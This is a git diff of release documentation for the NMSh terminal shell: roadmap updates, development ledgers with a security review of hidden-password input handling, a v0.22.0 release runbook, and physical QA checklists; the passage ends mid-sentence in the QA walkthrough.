For upcoming work, see the [open v0.21 candidate issues](https://github.com/raiseCatError/notMyShell/issues?q=is%3Aissue+is%3Aopen+label%3Acandidate%3Av0.21); candidate labels are planning signals, not release promises. +NMSh's shipped native module ecosystem uses trusted capabilities to resolve contextual facts and routes them to the Main Prompt, Context Rail or Right Context. For upcoming work, see the [open v0.22 candidate issues](https://github.com/raiseCatError/notMyShell/issues?q=is%3Aissue+is%3Aopen+label%3Acandidate%3Av0.22); candidate labels are planning signals, not release promises. v0.17.0 introduced fact metadata, native module routing and the Context Rail. v0.18.0 adds demand-driven capability scheduling, a first-party module catalog (projects, runtimes, environment managers, infrastructure, cloud, system, Git), installable declarative Context Packs (`nmsh packs`), Claude Code agent context, `/modules`, and Status Strip 2.0 (a top or bottom row with left, center and right groups composed in `/strip`). Context Packs are data, not an executable plugin API. Entering a repository must never execute arbitrary repository-controlled code through context discovery. @@ -171,6 +173,7 @@ Type `/` in the composer for the full list, or `/help` for everything grouped by | Look and motion | `/appearance`, `/theme`, `/theme-bridge`, `/chroma`, `/motion`, `/chrome`, `/glyphs`, `/strip`, `/screensaver` | | Tools | `/tools`, `/providers`, `/configure`, `/tmux`, `/integrations`, `/dotfiles` | | Sessions and history | `/resume`, `/sessions`, `/history`, `/find`, `/filter`, `/copy`, `/clear` | +| Files and output (v0.22 candidate) | `/view` (files and completed output; `o` opens your editor), `/edit` (a small text file), `/track` (one live result of a command), `/copy --semantic` | | Agents and repositories | `/claude` (`/claude new`), `/ai`, `/mods` (`/extensions`), `/worktrees`, `/github` (`/prs`, `/issues`) | | Shells | `/shell` (switch zsh / Bash / Fish in place), `/zsh` (hand off to an ordinary shell) | | Everyday extras | `/btw`, `/watch`, `/open`, `/zoomies` (`/caffeinate`, `/awake`), `/update`, `/doctor` | diff --git a/ROADMAP.md b/ROADMAP.md index 224e77e7..42e8b624 100644 --- a/ROADMAP.md +++ b/ROADMAP.md @@ -8,13 +8,14 @@ | **Not released separately** | v0.19.0 — Terminal workflow candidate; never tagged or published, its work first ships in v0.20.0 | | **Previous release** | [v0.18.0 — Context Engine, Managed Agents & Workspaces](https://github.com/raiseCatError/notMyShell/releases/tag/v0.18.0) | | **macOS distribution** | Homebrew: `brew install raiseCatError/tap/nmsh`; source installation remains available | -| **Next implementation candidates (not yet committed)** | [v0.21 candidate issues](https://github.com/raiseCatError/notMyShell/issues?q=is%3Aissue+is%3Aopen+label%3Acandidate%3Av0.21) — viewer/text editing, Semantic Output, `/track`, native modules, bundled themes and selected defects. The maintainer will choose final scope after implementation and verification. | +| **Release candidate** | v0.22.0 — native viewing and editing (`/view`, `/edit`, `o` to your editor), Semantic Output (first phase), `/track`, input ownership under load and around passwords (#426, #436), history browsing with its position, Ask command suggestions from a local model, Bun, Nix shell and container modules with `/modules explain`/`timings`, five theme families, multi-row progress redraws — on `release/v0.22.0`, not published until its [physical QA](docs/testing/v022-physical-qa.md) passes ([ledger](docs/development/v022-ledger.md)) | +| **Not released separately** | v0.21.0 — release candidate ([#429](https://github.com/raiseCatError/notMyShell/pull/429)); never tagged or published, its work first ships in v0.22.0 | | **Included in v0.18.0** | Context Engine platform (capability scheduling, first-party catalog, Context Packs, Claude Code agent context), `/modules`, Status Strip 2.0 and `/strip`, managed Claude Code targets and `/mods` (#329), `/worktrees` (first slice of #337), read-only `/github` (first slice of #338), terminal title ownership, tmux/passthrough/cursor fixes; merged through [PR #345](https://github.com/raiseCatError/notMyShell/pull/345) (Status Strip 2.0 and the Ghostty physical-QA fixes reached master earlier through [PR #328](https://github.com/raiseCatError/notMyShell/pull/328)), see CHANGELOG → 0.18.0 | | **Unscheduled** | [Future / Backlog](https://github.com/raiseCatError/notMyShell/milestone/7) | | **Development branch** | `dev` | | **Public planning** | [Open issues](https://github.com/raiseCatError/notMyShell/issues); the owner-only project board is not a public status source | -GitHub issues define actionable remaining work. Closed issues represent completed work, not a promise that future refinements are finished. The latest published release and package version are 0.20.0. +GitHub issues define actionable remaining work. Closed issues represent completed work, not a promise that future refinements are finished. The latest published release is 0.20.0; the release candidate's package version is 0.22.0. ## Native modules and Context Engine — released foundation, ongoing expansion @@ -158,6 +159,18 @@ The work formerly planned as v0.8–v0.15 ships together with v0.16 in one cumul | [#15](https://github.com/raiseCatError/notMyShell/issues/15) | Moved to Future / Backlog; NMSh already degrades by capability in unknown embedded hosts | | [#18](https://github.com/raiseCatError/notMyShell/issues/18) | Code and CI in v0.17; physical Linux/WSL pass moved to a follow-up | +## Release candidate — v0.22.0 Native viewing, Semantic Output, `/track` and input ownership + +Includes the unpublished v0.21.0 candidate. v0.21 was planned in [#410](https://github.com/raiseCatError/notMyShell/issues/410) and merged into `dev` as #411–#428: +`/view` ([#397](https://github.com/raiseCatError/notMyShell/issues/397)) and `/edit` ([#402](https://github.com/raiseCatError/notMyShell/issues/402)), Semantic Output first phase +([#386](https://github.com/raiseCatError/notMyShell/issues/386)), `/track` ([#393](https://github.com/raiseCatError/notMyShell/issues/393)), Bun, Nix shell and container modules +([#364](https://github.com/raiseCatError/notMyShell/issues/364)), `/modules explain` and `timings` ([#365](https://github.com/raiseCatError/notMyShell/issues/365)), five theme families +([#401](https://github.com/raiseCatError/notMyShell/issues/401)) and the #388/#408 fixes. v0.22 ([#431](https://github.com/raiseCatError/notMyShell/issues/431)) adds input ownership under load and +around passwords and prompt hooks (#426, #436; PRs #433, #437, #442), history browsing and its position (#389; #438, #441), +`o` from `/view` and a chosen terminal editor (#366; #434, #439) and Ask command suggestions from a local model +(#432 first part; #440), integrated on `release/v0.22.0` in that order. Not published until its physical QA passes; see +the [changelog](CHANGELOG.md) for compatibility, upgrade notes and known limitations. + ## Released — v0.20.0 Terminal workflow, first-run setup, background tasks & native modules Released on 2026-10-18 through [PR #392](https://github.com/raiseCatError/notMyShell/pull/392), built cumulatively on the unpublished v0.19 candidate: the standalone module work merged through diff --git a/docs/development/v021-ledger.md b/docs/development/v021-ledger.md index 11872072..f15d0886 100644 --- a/docs/development/v021-ledger.md +++ b/docs/development/v021-ledger.md @@ -1,5 +1,10 @@ # v0.21 ledger +> **Superseded (2026-10-19): v0.21.0 is not published on its own.** The maintainer chose to ship the latest stable +> version instead; v0.21's work ships in v0.22.0 (see the [v0.22 ledger](v022-ledger.md) and the +> [v0.22.0 runbook](v022-release-runbook.md)). Draft #429 is closed as superseded when v0.22.0 ships, never merged; no v0.21.0 +> tag, release or changelog section exists. The record below is kept as evidence for the code v0.22 builds on. + Durable state of the v0.21 candidate ([#410](https://github.com/raiseCatError/notMyShell/issues/410)) so a later session can resume without rediscovering it. Design and acceptance: [v0.21 design](../design/v021-terminal-intelligence.md). Automated results here are not physical-terminal validation. @@ -255,9 +260,23 @@ collection 50 ms, every-module render 40 ms, configured completion warm 8.8 ms, - #356 stays open: it was not reproduced, and passing its reproducer does not close it. - #410 tracks the release. +## Final verification of the v0.21 candidate (2026-10-19) + +After a macOS kernel panic (memory pressure) the release state was reconciled; nothing was lost or half-run. + +- `release/v0.21.0` = `86bb3a6c` (#430 merged `dev` `a8b383c2`, with #425, #427 and #428). `master` (`6af5cbab`) is an + ancestor; no v0.22 commit is in the branch. Its code equals `a8033bbb`'s (only `docs/testing/v021-physical-qa.md` + differs, which no test reads), where local `verify:release` passed (3,141 passed, 0 failed, 2 skipped). +- Dispatched CI on exactly `86bb3a6c`: [run 39215504453](https://github.com/raiseCatError/notMyShell/actions/runs/39215504453), all 13 jobs green. +- Findings from the v0.22 work, checked on this code (all also in v0.20.0, none a v0.21 regression): #436 (a slow prompt + hook made the next command a discarded "reply"), #426 (under load a prompt-less `read -s` secret could be queued as a + command, shown in the queue and run after a successful exit; a prompted `sudo` was not affected), #443 (Fish 3.7 on + Linux, cause unknown). v0.22 fixes the first two; see its ledger for the security review. +- Physical QA was never run on this build. It is part of [v0.22 physical QA](../testing/v022-physical-qa.md). + ## Release readiness -**Not released, and not ready to ship until physical QA passes.** Integration, exact-commit CI and the code review are +**Superseded by v0.22.0; never released.** (Historical, as of the v0.21 audit:) Integration, exact-commit CI and the code review are done. Remaining gates, in order: 1. Merge #425 and #427 into `dev` once their CI is green. This ledger's PR follows. diff --git a/docs/development/v021-release-runbook.md b/docs/development/v021-release-runbook.md index 211f6e7f..5a95fd5a 100644 --- a/docs/development/v021-release-runbook.md +++ b/docs/development/v021-release-runbook.md @@ -1,5 +1,8 @@ # v0.21.0 release runbook +> **Superseded, never used.** v0.21.0 is not published on its own; its work ships in v0.22.0. Follow the +> [v0.22.0 release runbook](v022-release-runbook.md). Do not tag v0.21.0 or merge #429. + The exact steps from the v0.21 release candidate to a published v0.21.0, following the v0.20.0 release (PR #392, tag `v0.20.0` on its merge commit, Homebrew tap PR #3, website sync). State and evidence are in the [ledger](v021-ledger.md). **Nothing here runs without the maintainer's go-ahead after physical QA.** Tagging, the diff --git a/docs/development/v022-ledger.md b/docs/development/v022-ledger.md index fbaed11a..5119d9ca 100644 --- a/docs/development/v022-ledger.md +++ b/docs/development/v022-ledger.md @@ -115,7 +115,50 @@ Full canonical `npm run verify` (local, macOS 27, T7 scratch), with the load ave - **#437 CI on the combined head (`e2776680`)** failed `typingAfterRead` (the race #442 fixes) and Ubuntu Fish `inputOwnershipLive` (#443: Fish's reader marker never arrived; the typed answer stayed held, safely). - **#443:** three Ubuntu Fish 3.7.0 failures where output or NMSh's markers from Fish never reached NMSh, one with `write: Interrupted system call`. Not reproduced with Fish 4.9.3 on macOS. Unverified hypothesis: `SIGWINCH` from NMSh's terminal resizes interrupting Fish 3.7 writes. -## Integration plan (after v0.21 ships; nothing merges before) +## Release candidate v0.22.0 (2026-10-19) + +**Decision:** the maintainer changed the release strategy: ship the latest stable version, not every planned one. +v0.21.0 (#429, CI green, never physically tested) is superseded and never published; v0.22.0 ships its work. No v0.23 +work exists (no branches, PRs or labels beyond planning), so v0.22 is the target. Feature freeze from here: only +correctness, security, packaging and release-blocking fixes. + +**Integration:** `release/v0.22.0` = `dev` (`a8b383c2`) + #435, #433, #437, #442, #438, #441, #434, #439, #440 merged in +that order with merge commits, then the combined `/view` editor test (#434 with #439) and one release-metadata commit +(version 0.22.0, one `[0.22.0]` changelog section that says v0.21.0 was never published, status pointers, the +consolidated physical QA walkthrough, this runbook). It does not contain `release/v0.21.0`'s two commits: only +metadata (version 0.21.0, a `[0.21.0]` section), replaced here. Conflicts: the CHANGELOG for #439 and #440 (same rule as +the candidate) and `tests/typingAfterRead.test.ts` for #442 (taken from #442, which carries #437's held outcome). Its +tree differs from the green candidate `567cf533` only by the commits below plus #435's ledger commit. + +**Security review of hidden input (#426, #433, #437, #442), 2026-10-19:** +- Boundary: NMSh routes typing while a command runs. A hidden reply must never be drawn, queued, written to the shell as + a command, logged or kept in history; an ordinary next command must never be lost. +- Two paths still let a password run as a shell command on `567cf533`, both fixed in #437 (`6486d9c5`): + 1. After NMSh answered a hidden question, a look that still saw hidden input was attributed to that question for 1 s; + if the command then ended, the held typing ran as the next command. A second question with no prompt that gave + up first (a timed read) is indistinguishable, and a time window is no proof. Such typing now waits at the prompt, + hidden, until the person shows it (Tab) or discards it (Esc, Ctrl+C). The window only separates a probable reply + (discarded) from unconfirmed typing (held); it never lets typing run. + 2. A reply typed and entered before a question with no prompt existed is queued like any command (nothing asked + yet). When the command then asks for hidden input, the entries queued while it ran wait for approval (an older + service: the queue pauses). Live on `567cf533`, zsh and Bash: the second password of `read -rs a; sleep 3; read -rs + b` ran and entered NMSh's journal; with the fix it never runs and is not in the shell's history file. +- Also: `NMSH_DEBUG_KEYS` never logs typing held at the prompt. +- Verified: consecutive prompt-less hidden questions; a second one reported while the reply is held (it gets it); an + ordinary command after a hidden answer once echo is back (runs as type-ahead); a prompted `sudo` (unchanged); Ctrl+C + and Esc while held; a look slower than the slow mark; a next command starting while typing is held; late looks; + entries queued before the command or with Ctrl+Q during the question (left alone). Deterministic: + `tests/inputOwnershipSecrets.test.ts` (10; 6 failed before the fix). Live: `tests/inputOwnershipSecretsLive.test.ts`. +- Remaining limits (documented in the changelog): a reply typed before a question with no prompt exists is drawn and + queued; if that question gives up before NMSh sees it and the command succeeds, the entry runs. zsh's single + `precmd` function and Fish's other `fish_postexec` handlers run before the done marker. An older session service + routes typing as before. Holding happens only when a look actually saw hidden input; on an idle machine at human + typing speed the prompted cases do not reach it. + +**Physical QA:** one consolidated walkthrough for the v0.22 build ([v0.22 physical QA](../testing/v022-physical-qa.md)), +replacing v0.21's (never run) and the per-PR passes. + +## Integration plan (superseded: written for after v0.21 shipped) **Order:** #435 → #433 → #437 → #442 → #438 → #441 → #434 → #439 → #440. - **#437 now contains #433** (merged into it, `4556dfab`). Its combined fix (`e2776680`) settles held typing as typing for a command that ended when the shell says it is done, and keeps evidence of hidden input; see #437. @@ -171,8 +214,8 @@ pass. ## Open risks -- v0.21 unreleased: v0.22 cannot integrate into `dev` yet (see the rule above). All v0.22 PRs stay draft. +- v0.21 is superseded; the v0.22 PRs land through `release/v0.22.0` and stay draft until the release PR merges. - #441 is based on #438 and must merge after it. - #439 and #434 both use the host-actions bridge; whichever merges second picks up the other. - #436 fixes two explained mechanisms; other timing races in input ownership may remain. -- The changelog entries sit in `dev`'s `[Unreleased]` beside v0.21's and move at reconciliation. +- #443 (Fish 3.7 on Linux, cause unknown) is open; a bounded CI loop investigates it. diff --git a/docs/development/v022-release-runbook.md b/docs/development/v022-release-runbook.md new file mode 100644 index 00000000..e634d453 --- /dev/null +++ b/docs/development/v022-release-runbook.md @@ -0,0 +1,135 @@ +# v0.22.0 release runbook + +The exact steps from the v0.22 release candidate to a published v0.22.0, following the v0.20.0 release (PR #392, +tag `v0.20.0` on its merge commit, Homebrew tap PR #3, website sync). State and evidence are in the +[ledger](v022-ledger.md). **Nothing here runs without the maintainer's go-ahead after physical QA.** Tagging, the +GitHub release, the tap and the website deploy are public and hard to undo. + +v0.22.0 is the release that ships the unpublished v0.21.0 candidate (#429). **Never tag, publish or merge v0.21.0**: #429 +is closed as superseded once the v0.22.0 release PR is merged (it is never merged for bookkeeping), and the changelog +has no `[0.21.0]` section. The previous published release, and the rollback target, is v0.20.0. + +## How a release moves + +`dev` + the v0.22 PRs, merged in dependency order with merge commits (#435, #433, #437, #442, #438, #441, #434, #439, +#440) → `release/v0.22.0` (one release-metadata commit) → PR into `master`, merged with a regular merge commit → +annotated tag `v0.22.0` on that merge commit → GitHub release (no uploaded assets; the source archive is GitHub's tag +archive) → Homebrew tap PR (source formula: `url` and `sha256` of the tag archive) → website sync PR into `master` → +manual **Publish NMSh website** dispatch, approved in the `nmsh-production` environment. No npm package is published +(`package.json` is `private`). `master` needs the `Verify (22.x)` and `Verify (26.x)` checks; the old GitHub Pages +deploy (`deploy.yml`) is disabled. + +## 0. Before starting + +- The physical QA results table has a recorded result for every row on the candidate build (or the maintainer has + decided, in writing, which rows a release may go without, as v0.20 did). +- Dispatched CI is green on the **exact** head of `release/v0.22.0`. Code changes need the full dispatch: Fedora and + both timing smokes run only on dispatch and push. +- `npm run verify:release` has run on that head locally, and any failure is explained by evidence. + +```sh +git fetch origin +RC=$(git rev-parse origin/release/v0.22.0) +gh run list --workflow CI --commit "$RC" --json event,conclusion,url # a workflow_dispatch run, success +``` + +## 1. Final release commit (on `release/v0.22.0`) + +1. `CHANGELOG.md`: `## [0.22.0] - Unreleased (release candidate)` becomes `## [0.22.0] - YYYY-MM-DD` (the + publication date); remove the candidate sentence; keep Compatibility, Upgrade notes and Known limitations accurate + to the QA results. Link references at the bottom: `[Unreleased]: …/compare/v0.22.0...HEAD` and + `[0.22.0]: …/compare/v0.20.0...v0.22.0` (the candidate links `…/compare/v0.20.0...release/v0.22.0`). +2. `docs/testing/v022-physical-qa.md`: the recorded results and the release decision. +3. README, ROADMAP, AGENTS, SECURITY, CONTRIBUTING and `llms.txt`: v0.22.0 is the current stable release. +4. Commit, push, dispatch CI on the new head and wait for it: + +```sh +gh workflow run CI --ref release/v0.22.0 +FINAL=$(git rev-parse origin/release/v0.22.0) +gh run list --workflow CI --commit "$FINAL" --json event,conclusion,url +``` + +## 2. Merge into `master` + +```sh +gh pr ready <release PR> +gh pr merge <release PR> --merge # a regular merge commit, as #392 +git fetch origin +MERGE=$(git rev-parse origin/master) +test "$(git rev-parse "$MERGE^{tree}")" = "$(git rev-parse "$FINAL^{tree}")" && echo "tree matches the verified commit" +``` + +## 3. Tag and GitHub release + +```sh +git tag -a v0.22.0 -m "v0.22.0 — <title>" "$MERGE" +git push origin v0.22.0 +gh release create v0.22.0 --verify-tag --latest --title "v0.22.0 — <title>" --notes-file <notes.md> +``` + +The release body becomes the website's release page at the next sync. Write it from the changelog section (a shorter +summary is fine) and link to the full CHANGELOG. + +## 4. Verify the published source + +In a shell started with `t7run zsh` (so `$T7_RUN_DIR` is a scratch directory on the T7): + +```sh +mkdir -p "$T7_RUN_DIR/v022-archive" && cd "$T7_RUN_DIR/v022-archive" +curl -fsSL -o v0.22.0.tar.gz https://github.com/raiseCatError/notMyShell/archive/refs/tags/v0.22.0.tar.gz +shasum -a 256 v0.22.0.tar.gz # the tap's sha256 +tar -xOzf v0.22.0.tar.gz notMyShell-0.22.0/package.json | grep '"version"' # "0.22.0" +mkdir src && tar -xzf v0.22.0.tar.gz -C src && cd src/notMyShell-0.22.0 +npm ci && npm run build && node dist/index.js --version # notMyShell 0.22.0, build <MERGE short sha> +``` + +## 5. Homebrew tap (`raiseCatError/homebrew-tap`) + +The scheduled `brew bump` failed daily from 2026-10-13 to 10-17 (`depends_on "python"`); v0.20.0 was a manual PR (#3). +Do the same unless an autobump PR for 0.22.0 has already appeared and is correct: + +1. Branch `nmsh-0.22.0`; in `Formula/nmsh.rb` set `url` to `…/archive/refs/tags/v0.22.0.tar.gz` and `sha256` to the + value from step 4. Nothing else needs changing: every file v0.22 reads at runtime is in `dist`, and the formula's + install list is unchanged since v0.20. +2. Open the PR; `tests.yml` (`brew test-bot`) must pass on macOS and Linux; merge (source-only formula, no bottles). +3. Locally: `brew update && brew upgrade raiseCatError/tap/nmsh && nmsh --version`. + +## 6. Website + +After the tap PR is merged (the sync records the tap's version, and the deploy checks it again): + +```sh +cd website && npm ci +npm run sync:upstream -- --published v0.22.0 --version 0.22.0 +npm test && npm run check && npm run build:launch && npm run test:browser +``` + +Open a PR into `master` with the result. Once it is merged, dispatch **Publish NMSh website** from `master` with the +confirmation `nmsh.raisecaterror.com`, approve the `nmsh-production` deployment, and check the live site. + +## 7. After the release + +- Close #429 with a comment pointing to the v0.22.0 release (its work is in it; never merge it). Delete nothing. +- The v0.22 PRs: once `dev` = `master`, each PR whose base is `dev` shows as merged; retarget #437 and #441 to `dev` + first (their bases are #433's and #438's branches) so they do too. + +- Smoke on the published build: a Homebrew install (`nmsh --version`, start in Ghostty, run a command, `/view + README.md`, `/track df -h`, `/track stop`, `exit`) and a source install's `/update` (offers v0.22.0 as the latest + stable release). +- Bring `dev` to `master`: `git switch dev && git pull --ff-only origin dev && git merge --ff-only origin/master && + git push origin dev` (`master` = `dev` after v0.20 too). +- Close the issues whose acceptance is met, with the physical results; keep partial ones open with the remaining + scope (ledger, "Issues and PRs"). + +## Rollback + +- **Before the tag:** nothing is public yet. A bad merge into `master` is reverted through a PR. +- **A bad release after publication:** fix forward with v0.22.1. A pushed tag may already be cached by Homebrew, + GitHub's archive and users, so do not move or recreate it. Meanwhile: + - `gh release edit v0.20.0 --latest` makes `/update` (it reads `releases/latest`) offer v0.20.0 again. + - Mark v0.22.0 as a prerelease (`gh release edit v0.22.0 --prerelease`) so it is no longer offered. + - Revert the tap PR (formula back to the v0.20.0 `url` and `sha256`) through a tap PR. + - Website: revert its sync PR on `master` and dispatch the publish again (approval required), or roll the Pages + project back to its previous deployment. +- **The tag points at the wrong commit and nothing has consumed it yet** (no release, tap or sync): delete it + (`git push --delete origin v0.22.0`) and tag the verified merge commit. Otherwise fix forward. diff --git a/docs/testing/v021-physical-qa.md b/docs/testing/v021-physical-qa.md index f6f4b2bd..1de95701 100644 --- a/docs/testing/v021-physical-qa.md +++ b/docs/testing/v021-physical-qa.md @@ -1,5 +1,8 @@ # v0.21 physical QA +> **Superseded, never run.** v0.21.0 was not published on its own: its work ships in v0.22.0, and its physical QA +> is part of [v0.22 physical QA](v022-physical-qa.md), run once on the v0.22 build. Nothing in this file was recorded. + ## Status - **Candidate, not released.** Every v0.21 slice is merged into `dev` (#411–#424, `433af8fd`); see the diff --git a/docs/testing/v022-physical-qa.md b/docs/testing/v022-physical-qa.md index f5815f32..b0717588 100644 --- a/docs/testing/v022-physical-qa.md +++ b/docs/testing/v022-physical-qa.md @@ -2,134 +2,380 @@ ## Status -- **Candidate slices, not integrated.** Each pass belongs to a draft PR held until v0.21 ships; see the - [ledger](../development/v022-ledger.md). Nothing below has been run yet. +- **Candidate, not released.** The single release candidate is v0.22.0 on `release/v0.22.0`: the unpublished v0.21.0 + candidate (#429, never run through physical QA, never published) plus the v0.22 work. This walkthrough replaces + [v0.21 physical QA](v021-physical-qa.md): test this build once. Nothing below has been run yet. - **What does not count:** headless PTY fixtures, synthetic keys, captures of a window driven that way, and green CI. - Each item needs a person at a real terminal with a real keyboard. -- **Build under test:** the PR head (or the later integration commit), built from a clean checkout (`npm ci && npm run - build`); record `node dist/index.js --version` in every row. -- **Isolation:** `scripts/qa/v021-fixtures.sh <new-directory>` (unchanged, from v0.21) makes a throwaway folder with its - own NMSh configuration and session service, so the QA build neither reads your settings nor attaches to your running - sessions. Your shell's own startup files still run. + Each item needs a person at a real terminal with a real keyboard and pointer. +- **Build under test:** the release candidate commit, built from a clean checkout (`npm ci && npm run build`); record + `node dist/index.js --version` (version and build commit) in every row. +- **Isolation:** `scripts/qa/v022-fixtures.sh` makes a throwaway folder with its own NMSh configuration + (`XDG_CONFIG_HOME`) and session service (`NMSH_RUNTIME_DIR`), so the QA build neither reads your settings nor + attaches to your running sessions. `HOME` is unchanged: your shell's own startup files run as usual, copy items + replace your clipboard, and `/llm` finds models already in `~/.local/share/nmsh/models`. ## Results | Pass | Host and version | OS | Shell and version | Commit | Result | Notes | |---|---|---|---|---|---|---| -| 1 Input ownership under load (#426, #433) | Ghostty | macOS | zsh | | Not run | | -| 1 Input ownership under load (#426, #433) | Terminal.app | macOS | Bash | | Not run | | -| 1 Input ownership under load (#426, #433) | Ghostty | macOS | Fish | | Not run | | -| 2 `/view` → your editor (#366, #434) | Ghostty | macOS | zsh | | Not run | | -| 2 `/view` → your editor (#366, #434) | Terminal.app | macOS | Fish | | Not run | | -| 2 `/view` → your editor (#366, #434) | Zed or VS Code terminal | macOS | zsh | | Not run | | -| 3 Type-ahead after Ctrl+C and slow hooks (#436, #437) | Ghostty | macOS | zsh | | Not run | | -| 3 Type-ahead after Ctrl+C and slow hooks (#436, #437) | Terminal.app | macOS | Bash | | Not run | | -| 3 Type-ahead after Ctrl+C and slow hooks (#436, #437) | Ghostty | macOS | Fish | | Not run | | -| 4 History browsing and History n/N (#389, #438, #441) | Ghostty | macOS | zsh | | Not run | | -| 4 History browsing and History n/N (#389, #438, #441) | Terminal.app | macOS | Fish | | Not run | | -| 5 Terminal editor choice (#366, #439) | Ghostty | macOS | zsh | | Not run | | -| 5 Terminal editor choice (#366, #439) | Zed or VS Code terminal | macOS | zsh | | Not run | | -| 6 Ask command suggestions (#432, #440) | Ghostty | macOS | zsh | | Not run | | +| 1 Multi-row progress (#388) | Ghostty | macOS | zsh | | Not run | | +| 1 Multi-row progress (#388) | Terminal.app | macOS | Fish | | Not run | | +| 2 `/view` | Ghostty | macOS | zsh | | Not run | | +| 2 `/view` | Terminal.app | macOS | zsh | | Not run | | +| 3 `/edit` | Ghostty | macOS | zsh | | Not run | | +| 3 `/edit` | Terminal.app | macOS | Fish | | Not run | | +| 4 Semantic Output | Ghostty | macOS | zsh | | Not run | | +| 5 `/track` | Ghostty | macOS | zsh | | Not run | | +| 5 `/track` | Terminal.app | macOS | Fish | | Not run | | +| 6 Modules | Ghostty | macOS | zsh | | Not run | | +| 7 Themes | Ghostty | macOS | zsh | | Not run | | +| 7 Themes | Terminal.app | macOS | zsh | | Not run | | +| 8 History browsing (#389) | Ghostty | macOS | zsh | | Not run | | +| 8 History browsing (#389) | Terminal.app | macOS | Fish | | Not run | | +| 9 Passwords and replies (#426) | Ghostty | macOS | zsh | | Not run | | +| 9 Passwords and replies (#426) | Terminal.app | macOS | Fish | | Not run | | +| 9 Passwords and replies (#426) | Terminal.app | macOS | Bash | | Not run | | +| 10 Prompt hooks and Ctrl+C (#436) | Ghostty | macOS | zsh | | Not run | | +| 10 Prompt hooks and Ctrl+C (#436) | Terminal.app | macOS | Fish | | Not run | | +| 10 Prompt hooks and Ctrl+C (#436) | Terminal.app | macOS | Bash | | Not run | | +| 11 Editors (#366) | Ghostty | macOS | zsh | | Not run | | +| 11 Editors (#366) | Zed or VS Code terminal | macOS | zsh | | Not run | 11.6, 11.11 | +| 12 Ask command suggestions (#432) | Ghostty | macOS | zsh | | Not run | | +| 13 Session lifecycle | Ghostty | macOS | zsh | | Not run | | +| Z Supplementary | Zed | macOS | zsh | | Not run | not a release gate | + +Not available on the QA Mac, with the coverage that exists instead: 1.5b (`apt` progress; Linux only: parser and live +PTY tests, Ubuntu and Fedora CI), 4.3 `cargo build` (not installed; Rust diagnostics recognizer tests), 6.2 +(`nix-shell`; the module reads only `IN_NIX_SHELL`, unit-tested), 6.3 inside a container (marker files and host +variables, unit-tested; the host half is checked here). Each stays *Not run* in the table, never *Pass*. ## Walkthrough -**Prepare once,** in a plain terminal window (not inside NMSh), from the checkout of the build under test: +Three sittings, about two and a half hours in all, plus a short Zed check. Every command below is typed in NMSh unless it says +"second tab". + +**Prepare once.** In a plain terminal window (not inside NMSh): ```sh -node dist/index.js --version -scripts/qa/v021-fixtures.sh /Volumes/T7Tmp/ai-dev/q22 +cd /Volumes/T7Tmp/ai-dev/worktrees/notMyShell/v022-qa # the release candidate build +node dist/index.js --version # record version and build commit +scripts/qa/v022-fixtures.sh /Volumes/T7Tmp/ai-dev/q22 ``` -Launch with `/Volumes/T7Tmp/ai-dev/q22/nmsh` (zsh), `… nmsh bash` or `… nmsh fish`; quit with `exit`. - -### Pass 1: input ownership (#426) - -1.1 `read -r reply; echo got=$reply` (Fish: `read reply; echo got=$reply`). Type `hello` and Enter **at once**, without -waiting: `got=hello`, the status row never shows `queued`. -1.2 The same after a two-second pause: same result. -1.3 `read -s` (no prompt; Bash: `read -rs`; Fish: `read --silent reply`). Type `QSECRETQ` and Enter at once: the text -never appears anywhere on screen and nothing is queued. Then `sudo -k true` (Cancel with Ctrl+C after typing if you -prefer not to authenticate): the password is never shown in the composer. -1.4 `sleep 5`, then type `echo next` and Enter at once: it is queued immediately (`≡ 1 queued`) and runs after `sleep`. -1.5 Load: in a second window run something heavy (a large build or test suite, or several at once), then repeat 1.1 and -1.3 a few times. The composer may briefly say `Checking whether … is waiting for input · your typing is kept`; either -way the answer reaches the read and nothing is shown or queued. Note whether the note appeared and roughly how long. -1.6 Ctrl+C right after typing during 1.5's note: the command is interrupted and **the held typing is discarded** (it is -neither sent to the shell nor shown); the composer is empty. -1.7 If NMSh still cannot tell after about five seconds (heavy load, swap), the activity row says `Can't tell whether … -is reading your typing · held, not shown` and the composer offers `Ctrl+S sends it to … · Tab shows it · Esc discards -it`. Try each: Ctrl+S sends the held text to the program (the read gets it); Tab puts it in the composer, visible and -unsent; Esc discards it. Nothing held is ever run as a shell command without one of these. If the state never appears, -note that; it is expected on a lightly loaded machine. - -### Pass 2: `/view` → your editor (#366) - -Make a long file first: `seq 1 500 > long.txt`. - -2.1 With `EDITOR=nvim` (or `vim`) exported in your shell startup or the launching window: `/view long.txt`, scroll to -about line 200 (`:200` Enter), press `o`. The viewer closes and the composer holds `nvim +200 /…/long.txt` (nothing -runs). Enter opens the editor at line 200; quitting it returns to NMSh's composer. -2.2 While a command runs: `sleep 20`, then `/view long.txt`, `o`. The editor command is placed in the composer; -Enter queues it (`≡ 1 queued`) and the editor opens after `sleep` ends. (A draft already in the composer is never -replaced; that case is covered by automated tests, since opening `/view` empties the composer.) -2.3 A name with spaces: `printf 'x\n' > 'my notes.txt'`, `/view my notes.txt` (the rest of the line is the path, no -quotes), `o`: the composer command quotes the path as one argument. -2.4 With `VISUAL` and `EDITOR` unset, outside any editor: `o` says no editor is known and how to set one. -2.5 Inside Zed's or VS Code's integrated terminal: `o` opens the file at the line in that editor; the viewer stays. -2.6 Markdown: `/view README.md` (rendered), `o` opens at the start; after `m` (source) it opens at the line shown. -2.7 Narrow window (about 46 columns): the footer wraps and `Esc close` stays visible. - -### Pass 3: type-ahead after Ctrl+C and a slow prompt hook (#436) - -3.1 `sleep 30`, press Ctrl+C, then **at once** type `echo after` and Enter: `after` is printed exactly once, as its own -command. Nothing is queued forever and nothing is taken as an answer. -3.2 A program that asks just before it is interrupted: `read -r x` (Fish: `read x`), Ctrl+C, then at once `echo after` -Enter: same result. -3.3 A slow prompt hook. zsh: `slow() { sleep 1 }; precmd_functions+=(slow)`. Bash: `PROMPT_COMMAND='sleep 1'`. Fish: -`function slow --on-event fish_prompt; sleep 1; end`. Then run `true` and, while the next prompt is still coming, type -`echo after` and Enter: it runs once, after the hook, and is never shown as an answer to a waiting program. Repeat a few -times, also under load (as in 1.5). - -### Pass 4: history browsing and `History n/N` (#389) +Each sitting starts from a plain window: `/Volumes/T7Tmp/ai-dev/q22/nmsh` (zsh), `… nmsh fish` or `… nmsh bash`. NMSh +opens in `q22/work`; paths below are relative to it. Quit with `exit`. If a launch offers to resume a detached +session, press R and `exit` it. + +**Reporting.** One line per pass, for example `Pass 9 · Ghostty 1.3.1 · zsh 5.9: PASS` or `Pass 9: FAIL 9.4 (the +second password ran)`; a 